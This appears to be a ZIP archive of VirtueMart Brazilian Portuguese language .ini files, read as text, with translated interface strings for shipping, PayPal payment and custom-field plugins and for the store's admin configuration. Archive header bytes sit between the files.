VMCUSTOM_TEXTINPUT_PRICE_BY_INPUT="Price per input" ; VMCUSTOM_TEXTINPUT_PRICE_BY_LETTER_OR_INPUT="Price per letter or per input" ; VMCUSTOM_TEXTINPUTPRICE_BY_LETTER_OR_INPUT_DESC="When selecting Price per letter, the extra price is applied by letter, otherwise the extra price for the all input" VMCUSTOM_TEXTINPUT="Campo Personalizado de Entrada de Texto" VMCUSTOM_TEXTINPUT_NO_CHANGES_BE="Isto exibe um campo de entrada, não altere aqui" VMCUSTOM_TEXTINPUT_SIZE="Tamanho da entrada" VMCUSTOM_TEXTINPUT_SIZE_DESC="Comprimento do campo exibido" PK@y>\)language/pt-BR/.htaccessnuW+A Order allow,deny Deny from all PK@y>\!!8language/pt-BR/pt-BR.plg_vmshipment_weight_countries.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valerie Isaksen ; @package VMSHIPMENT ; @subpackage VirtueMart Shipment VMSHIPMENT_WEIGHT_COUNTRIES="Plugin VM de Envio Peso/Nr. de Produdos/Países" VMSHIPMENT_WEIGHT_COUNTRIES_COST="Custo de Envio" VMSHIPMENT_WEIGHT_COUNTRIES_COST_DESC="Custo do Envio para aplicar a todos os pedidos quando o peso está entre o Peso Mínimo e o Peso Máximo" VMSHIPMENT_WEIGHT_COUNTRIES_COUNTRIES="Países" VMSHIPMENT_WEIGHT_COUNTRIES_COUNTRIES_DESC="Por favor, selecione os países para os quais essa taxa se aplica. Se nenhum país for selecionado esta taxa será aplicada para todos os países" VMSHIPMENT_WEIGHT_COUNTRIES_CURRENCY="Moeda" VMSHIPMENT_WEIGHT_COUNTRIES_CURRENCY_DESC="Moeda para o custo" VMSHIPMENT_WEIGHT_COUNTRIES_FREE_SHIPPING_AMOUNT="Quantia Mínima para Envio Gratuito" VMSHIPMENT_WEIGHT_COUNTRIES_FREE_SHIPPING_AMOUNT_DESC="Quantia mínima do pedido para Envio Gratuito" VMSHIPMENT_WEIGHT_COUNTRIES_LOGOS="Logotipo" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_START="Número mínimo de produtos" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_START_DESC="Número mínimo de produtos" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP="Número máximo de produtos" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP_DESC="Número máximo de produtos" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_START="Valor mínimo de pedido" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_START_DESC="Valor mínimo de pedido" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_STOP="Valor máximo de pedido" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_STOP_DESC="Valor máximo de pedido" VMSHIPMENT_WEIGHT_COUNTRIES_PACKAGE_FEE="Taxa de Pacote" VMSHIPMENT_WEIGHT_COUNTRIES_PACKAGE_FEE_DESC="Taxa de Pacote" VMSHIPMENT_WEIGHT_COUNTRIES_PLUGIN="Envio baseado no Peso, CEP e Países" VMSHIPMENT_WEIGHT_COUNTRIES_PLUGIN_DESC="Envio baseado na quantidade de PESO e países" VMSHIPMENT_WEIGHT_COUNTRIES_SHIPPING_NAME="Nome do Envio" VMSHIPMENT_WEIGHT_COUNTRIES_SHIPPING_NAME_DESC="Nome do Envio exibido no site" VMSHIPMENT_WEIGHT_COUNTRIES_TAX="Imposto" VMSHIPMENT_WEIGHT_COUNTRIES_TAX_DESC="Imposto para aplicar ao custo" VMSHIPMENT_WEIGHT_COUNTRIES_VALUE="Taxa" ;VMSHIPMENT_WEIGHT_COUNTRIES_VIRTUEMART_DESCRIPTION="Shipment description" ;VMSHIPMENT_WEIGHT_COUNTRIES_VIRTUEMART_DESCRIPTION_DESC="Shipment description added to the shipment name and logo" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT="Peso do Pedido" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_START="Peso Mínimo" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_START_DESC="Por favor digite o Peso Mínimo. Se nenhum valor for digitado para o Peso Mínimo, nenhuma condição relativa a Peso Mínimo será aplicada" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_STOP="Peso Máximo" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_STOP_DESC="Por favor digite o Peso Máximo. Se nenhum valor for digitado para o Peso Máximo, nenhuma condição relativa a Peso Máximo será aplicada" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_UNIT="Unidade de Peso" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_UNIT_DESC="A Unidade de Peso em que o Peso é dado" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_START="Faixa inicial de CEP" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_START_DESC="Por favor, digite a faixa inicial de CEP. Se nenhum valor for digitado para a faixa inicial de CEP e para a faixa final de CEP, nenhuma condição relativa a CEP será aplicada" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_STOP="Faixa final de CEP" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_STOP_DESC="Por favor, digite a faixa final de CEP. Se nenhum valor for digitado para a faixa final de CEP e para a faixa inicial de CEP, nenhuma condição relativa a CEP será aplicada" PK@y>\)4zz3language/pt-BR/pt-BR.plg_vmcustom_specification.ininuW+A; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_SPECIFICATION_DEFAULT_INFO="Informações padrão" VMCUSTOM_SPECIFICATION_NAME_INFO="Rótulo da Característica" VMCUSTOM_SPECIFICATION_NAME_INFO_DESC="Valor Padrão" PK@y>\[t8t8-language/pt-BR/pt-BR.plg_vmpayment_paypal.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valérie Isaksen ; @package VMPayment ; @subpackage VirtueMart payment Paypal VMPAYMENT_PAYPAL="Plugin VM de Pagamento PayPal" VMPAYMENT_PAYPAL_ADDRESS_OVERRIDE="Deixe os compradores sobrepor seus endereços PayPal?" VMPAYMENT_PAYPAL_ADDRESS_OVERRIDE_DESC="O endereço especificado com preenchimento automático de variáveis ​​substitui o endereço de membro do PayPal armazenado. Os compradores veem os endereços que você passa, mas não podem editá-los. O PayPal não mostra os endereços se eles são inválidos ou omitidos." VMPAYMENT_PAYPAL_AMOUNT="Quantia" VMPAYMENT_PAYPAL_AUTOMATIC_FILLOUT="Experiência de Checkout, veja Manipulação de Endereço (Comerciantes dos EUA Apenas)"_QQ_"" VMPAYMENT_PAYPAL_CLICK_ON_BUTTON="Se você não for redirecionado após 10 segundos, por favor clique no botão abaixo." VMPAYMENT_PAYPAL_COST_PERCENT_TOTAL="Pencentual do valor total do produto" VMPAYMENT_PAYPAL_COST_PERCENT_TOTAL_EXPLAIN="Percentual a ser aplicado ao valor total do produto. Custo de envio não está incluso." VMPAYMENT_PAYPAL_COST_PER_TRANSACTION="Taxa por transação" VMPAYMENT_PAYPAL_COST_PER_TRANSACTION_EXPLAIN="Quantia fixa para aplicar por transação" VMPAYMENT_PAYPAL_COUNTRIES="Países" VMPAYMENT_PAYPAL_COUNTRIES_DESC="Por favor, selecione os países para os quais este método de pagamento se aplica. Se nenhum país é selecionado, este método de pagamento será aplicado para todos os países" VMPAYMENT_PAYPAL_CURRENCY="Moeda" VMPAYMENT_PAYPAL_CURRENCY_DESC="Moeda aceita para o pagamento" VMPAYMENT_PAYPAL_CUSTOM="Valor personalizado" VMPAYMENT_PAYPAL_DATE="Date" VMPAYMENT_PAYPAL_DEBUG="Depurar?" VMPAYMENT_PAYPAL_DEBUG_DESC="Se definido para sim, a transação de pagamento será registrada na pasta de log" VMPAYMENT_PAYPAL_EMAIL="E-mail do PayPal:" VMPAYMENT_PAYPAL_EMAIL_DESC="Seu endereço de e-mail comercial para pagamentos PayPal. Também usado como receiver_email." VMPAYMENT_PAYPAL_EMAIL_SENT="E-mail enviado" VMPAYMENT_PAYPAL_ERROR_EMAIL_SUBJECT="Erro com o pagamento PayPal" VMPAYMENT_PAYPAL_ERROR_IPN_VALIDATION="Validação IPN inválida" VMPAYMENT_PAYPAL_ERROR_POSTING_IPN="Erro enquanto postava o IPN: %1s, %2d" VMPAYMENT_PAYPAL_INVOICE="Número do Pedido" VMPAYMENT_PAYPAL_IPN_NOTIFICATION_RECEIVED="Notificação do Paypal recebida" VMPAYMENT_PAYPAL_LOGOS="Logotipos" VMPAYMENT_PAYPAL_LOGOS_DESC="Logotipos para serem exibidos com o nome do pagamento" VMPAYMENT_PAYPAL_MAX_AMOUNT="Quantia Máxima" VMPAYMENT_PAYPAL_MAX_AMOUNT_EXPLAIN="Quantia Máxima de Pedido para oferecer este Pagamento" VMPAYMENT_PAYPAL_MERCHANT_EMAIL_NOT_SET="O e-mail de Comerciante do PayPal não está definido. Por favor, configure este parâmetro no seu método de pagamento PayPal." VMPAYMENT_PAYPAL_MIN_AMOUNT="Quantia Mínima" VMPAYMENT_PAYPAL_MIN_AMOUNT_EXPLAIN="Quantia Mínima de Pedido para oferecer este Pagamento" VMPAYMENT_PAYPAL_NAME="Nome do Pagamento" VMPAYMENT_PAYPAL_NO_SHIPPING="Solicitar aos compradores um endereço para envio" VMPAYMENT_PAYPAL_NO_SHIPPING_DESC="Solicitar aos compradores um endereço para envio" VMPAYMENT_PAYPAL_NO_SHIPPING_DO_NOT_PROMPT="Não solicitar um endereço" VMPAYMENT_PAYPAL_NO_SHIPPING_PROMPT="Solicitar um endereço, mas não exigir um" VMPAYMENT_PAYPAL_NO_SHIPPING_PROMPT_REQUIRE="Solicitar um endereço, e exigir um" VMPAYMENT_PAYPAL_ONLYVERIFIED="Aceitar apenas compradores verificados?" VMPAYMENT_PAYPAL_ONLYVERIFIED_EXPLAIN="Aqui você pode escolher se você só quer aceitar pagamentos de compradores com uma conta PayPal verificada (quando uma conta não é verificada, o PayPal faz a transferência dos fundos, mas não garante plenamente a validade da venda )." VMPAYMENT_PAYPAL_ORDER_NUMBER="Número do Pedido" VMPAYMENT_PAYPAL_PARAMS="PARÂMETROS DO PAYPAL" VMPAYMENT_PAYPAL_PARAMS_DESC="Parâmetros do PayPal" VMPAYMENT_PAYPAL_PAYMENT_AMOUNT_INCORRECT="Payment Amount not valid for Paypal" VMPAYMENT_PAYPAL_PAYMENT_CANCELLED="Você cancelou seu pagamento" VMPAYMENT_PAYPAL_PAYMENT_INFO="" VMPAYMENT_PAYPAL_PAYMENT_NAME="Nome do Pagamento" VMPAYMENT_PAYPAL_PAYMENT_ORDER_TOTAL="Total do pedido enviado ao Paypal" VMPAYMENT_PAYPAL_PAYMENT_PAGE="RETORNAR PARA A LOJA" VMPAYMENT_PAYPAL_PAYMENT_PRICE="Pagamento" VMPAYMENT_PAYPAL_PAYMENT_SETTINGS="PARÂMETROS" VMPAYMENT_PAYPAL_PAYMENT_STATUS_CANCELED="O pagamento para o pedido %s falhou. Razão:" VMPAYMENT_PAYPAL_PAYMENT_STATUS_CONFIRMED="Seu pagamento para o pedido %s foi confirmado pelo Paypal" VMPAYMENT_PAYPAL_PAYMENT_STATUS_PENDING="O pagamento para o pedido %s está pendente de estado. Razão:" VMPAYMENT_PAYPAL_PAYMENT_TITLE="PAYPAL" VMPAYMENT_PAYPAL_PAYMENT_TOTAL_CURRENCY="Total na Moeda de Pagamento" VMPAYMENT_PAYPAL_PAYMENT_WARNING="Aviso - No VM2, o vendedor e o comprador APENAS receberão um e-mail quando a transação for concluída." VMPAYMENT_PAYPAL_PENDING_REASON_FE_ADDRESS="Você não incluiu um endereço de envio confirmado" VMPAYMENT_PAYPAL_PENDING_REASON_FE_AUTHORIZATION="A ação de pagamento está configurado para autorização." VMPAYMENT_PAYPAL_PENDING_REASON_FE_DEFAULT="O pagamento está pendente." VMPAYMENT_PAYPAL_PENDING_REASON_FE_ECHECK="O pagamento está pendente porque ela foi feita por um eCheck que tem não ainda desmarcado." VMPAYMENT_PAYPAL_PENDING_REASON_FE_INTL="O pagamento está pendente porque as lojas mantém uma conta nos EUA" VMPAYMENT_PAYPAL_PENDING_REASON_FE_MULTI_CURRENCY="A loja irá aceitar manualmente o pagamento para esta moeda" VMPAYMENT_PAYPAL_PENDING_REASON_FE_ORDER="Defina a ação de pagamento para o pedido e que ainda não captaram fundos." VMPAYMENT_PAYPAL_PENDING_REASON_FE_UNILATERAL="O pagamento está pendente porque ele foi feito para um endereço de e-mail que ainda não está registrado ou confirmado." VMPAYMENT_PAYPAL_PLEASE_WAIT="Por favor aguarde enquanto você é redirecionado para %s" VMPAYMENT_PAYPAL_REDIRECT_MESSAGE="Por favor aguarde enquanto redirecionando para o PayPal" VMPAYMENT_PAYPAL_RESPONSE_BUSINESS="E-mail ou ID da conta do beneficiário do pagamento" VMPAYMENT_PAYPAL_RESPONSE_CASE_CREATION_DATE="Data e hora do caso que foi registrado" VMPAYMENT_PAYPAL_RESPONSE_CASE_ID="Número de identificação do caso" VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE="Tipo do caso" VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_CHARGEBACK="Um comprador entrou com um estorno na sua empresa de cartão de crédito, a mesma notificou o PayPal da razão para o estorno." VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_COMPLAINT="Um comprador registrou uma reclamação através da Central de Resolução do PayPal" VMPAYMENT_PAYPAL_RESPONSE_CASE_TYPE_DISPUTE="Comprador e vendedor postaram uma comunicação através do Centro de Resolução para tentar resolver o problema sem intervenção do PayPal" VMPAYMENT_PAYPAL_RESPONSE_FIRST_NAME="Nome do cliente" VMPAYMENT_PAYPAL_RESPONSE_INVOICE="Fatura" VMPAYMENT_PAYPAL_RESPONSE_LAST_NAME="Sobrenome do cliente" VMPAYMENT_PAYPAL_RESPONSE_MC_CURRENCY="Moeda" VMPAYMENT_PAYPAL_RESPONSE_MC_FEE="Taxa de transação" VMPAYMENT_PAYPAL_RESPONSE_MC_GROSS="Montante total do pagamento do cliente" VMPAYMENT_PAYPAL_RESPONSE_NOTIFICATION="Notificação" ; VMPAYMENT_PAYPAL_RESPONSE_PARENT_TXN_ID="Original transaction identification number" VMPAYMENT_PAYPAL_RESPONSE_PAYER_EMAIL="E-mail primário do cliente" VMPAYMENT_PAYPAL_RESPONSE_PAYER_ID="ID único de cliente" VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_DATE="Data/hora do IPN" VMPAYMENT_PAYPAL_RESPONSE_PAYMENT_STATUS="Situação do Pagamento" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON="Razão de pendente" VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ADDRESS="O pagamento está pendente porque seu cliente não inclui um endereço de entrega confirmado e sua Preferência de Recebimento de Pagamento está configurada para que que permiteir que você manualmente aceite ou recuse cada um desses pagamentos. Para alterar as suas preferências, vá para a seção preferências de seu Perfil." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_AUTHORIZATION="A ação de pagamento está definido como Autorização e ainda não captaram fundos." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ECHECK="O pagamento está pendente porque ele foi feito por um eCheck que ainda não esá desembaraçado." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_INTL="O pagamento está pendente porque você mantenha uma conta nos EUA e não têm um mecanismo de retirada. Manualmente você deve aceitar ou negar este pagamento de sua visão geral da conta." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_MULTI_CURRENCY="Você não tem um saldo na moeda enviada, e você não tem suas Preferências de Recebimento de Pagamento configurada ára automaticamente converter e aceitar esse pagamento.Você deve aceitar ou recusar este pagamento manualmente." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_ORDER="Defina a ação de pagamento para o pedido que ainda captaram fundos." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_OTHER="O pagamento está pendente por uma razão diferente das listadas acima. Para obter mais informações, entre em contato com o serviço de cliente do PayPal." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_PAYMENTREVIEW="O pagamento está pendente enquanto ele está sendo analisado por PayPal por risco." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_UNILATERAL="O pagamento está pendente porque ele foi feito para um endereço de e-mail que ainda não está registrado ou confirmado." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_UPGRADE="O pagamento está pendente porque ele foi feita através de cartão de crédito e você deve atualizar sua conta para status Business ou Premier no pedido para receber os fundos. atualização também pode significar que você atingiu o limite mensal para transações em sua conta." VMPAYMENT_PAYPAL_RESPONSE_PENDING_REASON_VERIFY="O pagamento está pendente porque você ainda não está verificado. Você deve verificar sua conta antes de poder aceitar esse pagamento." VMPAYMENT_PAYPAL_RESPONSE_PROTECTION_ELIGIBILITY="eligibilidade" ; VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE="Reason for the case" ; VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_ADJUSTMENT_REIMBURSE=": A case that has been resolved and close requires a reimbursement." ; VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_DUPLICATE="Buyer claims that a possible duplicate payment was made to the merchant." ; VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_MERCHANDISE="Buyer claims that the received merchandise is unsatisfactory, defective, or damaged." ; VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_NON_RECEIPT="Buyer claims that he did not receive goods or service." ; VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_NOT_AS_DESCRIBED="Buyer claims that the goods or service received differ from merchant’s description of the goods or service." ; VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_SPECIAL="Some other reason. Usually, special indicates a credit card processing error for which the merchant is not responsible and for which no debit to the merchant will result. PayPal must review the documentation from the credit card company to determine the nature of the dispute and possibly contact the merchant to resolve it." ; VMPAYMENT_PAYPAL_RESPONSE_REASON_CODE_UNAUTHORIZED="unauthorized" VMPAYMENT_PAYPAL_RESPONSE_RECEIVER_EMAIL="E-mail primário do beneficiário do pagamento" VMPAYMENT_PAYPAL_RESPONSE_RESIDENCE_COUNTRY="Código de país ISO 3166" VMPAYMENT_PAYPAL_RESPONSE_TAX="Imposto" VMPAYMENT_PAYPAL_RESPONSE_TRANSACTION_SUBJECT="Assunto da transação" ; VMPAYMENT_PAYPAL_RESPONSE_TXN_ID="Transaction identification number" ; VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE="IPN Transaction Types" ; VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_ADJUSTMENT="A dispute has been resolved and closed" ; VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_NEW_CASE="A new dispute was filed" ; VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_SEND_MONEY="Payment received; source is the Send Money tab on the PayPal website" ; VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_VIRTUAL_TERMINAL="Payment received; source is Virtual Terminal" ; VMPAYMENT_PAYPAL_RESPONSE_TXN_TYPE_WEB_ACCEPT="The payment was sent by your customer via Single Item Purchases or Donations" VMPAYMENT_PAYPAL_RESTRICTIONS="RESTRIÇÕES" VMPAYMENT_PAYPAL_SANDBOX="Ambiente de Testes" VMPAYMENT_PAYPAL_SANDBOX_DESC="Ambiente de Testes" VMPAYMENT_PAYPAL_SANDBOX_MERCHANT="E-mail do Ambiente de Testes" VMPAYMENT_PAYPAL_SANDBOX_MERCHANT_DESC="Seu e-mail de Comerciante para o ambiente de testes do PayPal" VMPAYMENT_PAYPAL_SANDBOX_PARAMS="Parâmetros do Ambiente de Testes PayPal" VMPAYMENT_PAYPAL_SANDBOX_PARAMS_DESC="Parâmetros do Ambiente de Testes PayPal" VMPAYMENT_PAYPAL_SHIPMENT_PRICE="Envio" VMPAYMENT_PAYPAL_STATUS_FAILED="Situação de Pedido para transações Falhas" VMPAYMENT_PAYPAL_STATUS_FAILED_EXPLAIN="Selecione uma situação de pedido para transações PayPal Falhas." VMPAYMENT_PAYPAL_STATUS_PENDING="Situação de Pedido para transações Pendentes" VMPAYMENT_PAYPAL_STATUS_PENDING_EXPLAIN="A situação de pedido para a qual os Pedidos são setados quando não têm a Transação de Pagamento concluída. A transação não foi cancelada neste caso, mas está apenas pendente e à espera de conclusão." VMPAYMENT_PAYPAL_STATUS_SUCCESS="Situação de Pedido para transações Bem Sucedidas" VMPAYMENT_PAYPAL_STATUS_SUCCESS_EXPLAIN="Selecione a situação de pedido para a qual o pedido atual é setado caso o IPN do PayPal seja bem sucedido. Se estiver usando as opções de venda de download: selecione a situação de pedido que habilitará o download (então o cliente será imediatamente notificado sobre o download via e-mail)." VMPAYMENT_PAYPAL_TAX="Imposto" VMPAYMENT_PAYPAL_TAX_EXPLAIN="Imposto para aplicar à taxa" VMPAYMENT_PAYPAL_THANKYOU="Obrigado por seu pagamento." VMPAYMENT_PAYPAL_UNKNOW_ORDER_ID="ID de pedido desconhecido" VMPAYMENT_PAYPAL_USER_CANCEL="Pagamento Cancelado pelo Usuário" VMPAYMENT_PAYPAL_VIRTUEMART_PARAMS="Parâmetros do VirtueMart" VMPAYMENT_PAYPAL_VIRTUEMART_PARAMS_DESC="Parâmetros do VirtueMart" ;VMPAYMENT_PAYPAL_SANDBOX_CUSTOMER="Merchant Sandbox Email" ;VMPAYMENT_PAYPAL_SANDBOX_CUSTOMER_DESC="Merchant Sandbox Email"PK@y>\f3#%3language/pt-BR/pt-BR.plg_vmcustom_textinput.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_TEXTINPUT="Entrada de Texto de Campo Personalizado" PK@y>\#1language/pt-BR/pt-BR.plg_vmpayment_paypal.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author ; @package VMPayment ; @subpackage VirtueMart payment Paypal VMPAYMENT_PAYPAL="Plugin VM de Pagamento PayPal"PK@y>\q0ff,language/pt-BR/pt-BR.com_virtuemart.menu.ininuW+A; $Id: en-GB.com_virtuemart.ini 2653 2010-11-11 13:28:42Z milbo $ ; VirtueMart Project ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; System VIRTUEMART="VirtueMart" COM_VIRTUEMART="VirtueMart"PK@y>\̏btt3language/pt-BR/pt-BR.plg_vmpayment_standard.sys.ininuW+A; $Id: en-GB.plg_vmpayment_standard.ini 2567 2010-10-08 14:20:50Z _fD_ $ ; @package ; @author Valerie Isaksen ; Copyright (C) 2008 VirtueMart, 2010 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMPAYMENT_STANDARD="Plugin VM de Pagamento Padrão" PK@y>\>!!7language/pt-BR/pt-BR.plg_vmcustom_specification.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_SPECIFICATION="Especificação de Produto Personalizado" PK@y>\Vlanguage/pt-BR/index.htmlnuW+A PK@y>\` /language/pt-BR/pt-BR.plg_vmcustom_stockable.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_STOCKABLE="Campo Personalizado com controle de estoque" VMCUSTOM_STOCKABLE_DESC="Atribua um nome e os valores para as opções de um subproduto com controle de estoque" VMCUSTOM_STOCKABLE_IS_VARIANT="Variante Primária" VMCUSTOM_STOCKABLE_NO_CHILD="Por favor, adicione novo subproduto! Posteriormente você poderá selecionar as opções para cada produto" VMCUSTOM_STOCKABLE_NO_OPTION="-" VMCUSTOM_STOCKABLE_PRICE="Custo adicional" VMCUSTOM_STOCKABLE_SELECTNAME="Nome da opção" VMCUSTOM_STOCKABLE_SELECTNAME_DESC="Digite o nome da lista de seleção" VMCUSTOM_STOCKABLE_SELECTOPTIONS="Valor das Opções" VMCUSTOM_STOCKABLE_SELECTOPTIONS_DESC="Digite a opção para a lista de seleção. Uma opção por linha." VMCUSTOM_STOCKABLE_USAGE="Atenção! Este plugin usa os produtos-filhos para gerenciar as variantes do carrinho com controle de estoque. Se você não necessita controlar o estoque por meio das variantes de carrinho, você deve usar uma variante normal de carrinho."PK@y>\ _*'''language/pt-BR/pt-BR.com_virtuemart.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_ABOUT="Sobre" COM_VIRTUEMART_ACCESS_FORBIDDEN="Acesso Proibido" COM_VIRTUEMART_ADD="Novo" COM_VIRTUEMART_ADDRESS="Endereço" COM_VIRTUEMART_ADD_COMMENT="Adicionar Comentário" COM_VIRTUEMART_ADD_RATING="Adicionar Avaliação" COM_VIRTUEMART_ADD_SHIPTO_1="Adicionar um novo" COM_VIRTUEMART_ADD_SHIPTO_2="Endereço de Entrega" COM_VIRTUEMART_ADMIN="Painel de Controle" COM_VIRTUEMART_ADMIN_CFG_ACCOUNT_ACTIVATION="Necessária ativação de nova conta?" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP="Mostrar pop-up modal ao 'Adicionar ao Carrinho'" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP_EXPLAIN="If checked, you see the modal 'facebox' on adding a product to cart else you are redirect to the cart" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER="Deve concordar com os Termos do Serviço em CADA PEDIDO?" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER_EXPLAIN="Marque se você quer que um cliente concorde com seus termos do serviço em CADA PEDIDO (antes de colocar o pedido)." COM_VIRTUEMART_ADMIN_CFG_ALLOW_REGISTRATION="Registro do usuário permitido?" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH="Caminho para Ativos Gerais" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH_EXPLAIN="Este geralmente é o caminho para a pasta asset em com_virtuemart" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT="Habilitar Seleção Automática de Pagamento?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT_EXPLAIN="Quando a Seleção Automática de Pagamento está habilitada, se apenas um método de pagamento estiver disponível, então ele é pré-selecionado.
            Se a Seleção Automática de Pagamento NÃO estiver selecionada, mesmo quando existir apenas um método de pagamento disponível, uma nova página é carregada. Isto é útil se o método de pagamento tiver que validar os dados de pagamento digitados pelo usuário." COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT="Habilitar Seleção Automática de Envio?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT_EXPLAIN="Quando a Seleção Automática de Envio está habilitada, se apenas um método de envio estiver disponível, então ele é pré-selecionado.
            Se a Seleção Automática de Envio NÃO estiver selecionada, mesmo quando existir apenas um método de envio disponível, uma nova página é carregada. Isto é útil caso o método de envio precise validar os dados de entrega inseridos pelo usuário." COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW="Número padrão de categorias em uma linha" COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW_EXPLAIN="Isto define o número de categorias em uma linha.
            " COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT="Layout da Categoria" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT_EXPLAIN="Esse é o layout padrão para navegar nas categorias." COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE="Template da Categoria" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE_EXPLAIN="Isso define o template padrão da categoria para exibição de produtos em uma categoria.
            " COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB="Finalizar" COM_VIRTUEMART_ADMIN_CFG_CHECKOUT_SETTINGS="Configurações de Finalização" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS="Habilitar ferramentas de Atualização de banco de dados" COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS_EXPLAIN="Aqui você pode ativar as ferramentas, que são escritas para testes e desinstalação. Elas são usadas para resetar a loja em condições de instalação. Considere que depois de usar uma ferramenta perigosa, a configuração é definida de volta para desativado novamente." COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT="Formato de data da loja" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT_EXPLAIN="O formato padrão de data usado pela loja. Ex.: %d/%m/%y." COM_VIRTUEMART_ADMIN_CFG_DEBUG="DEPURAR?" COM_VIRTUEMART_ADMIN_CFG_DEBUG_EXPLAIN="Ativa a saída de depuração. Isso faz com que a página de depuração seja exibida na parte inferior de cada página. Muito útil durante o desenvolvimento da loja uma vez que mostra os conteúdos do cesto, os valores de campos de formulário, etc." COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS="Endereço IP do cliente" 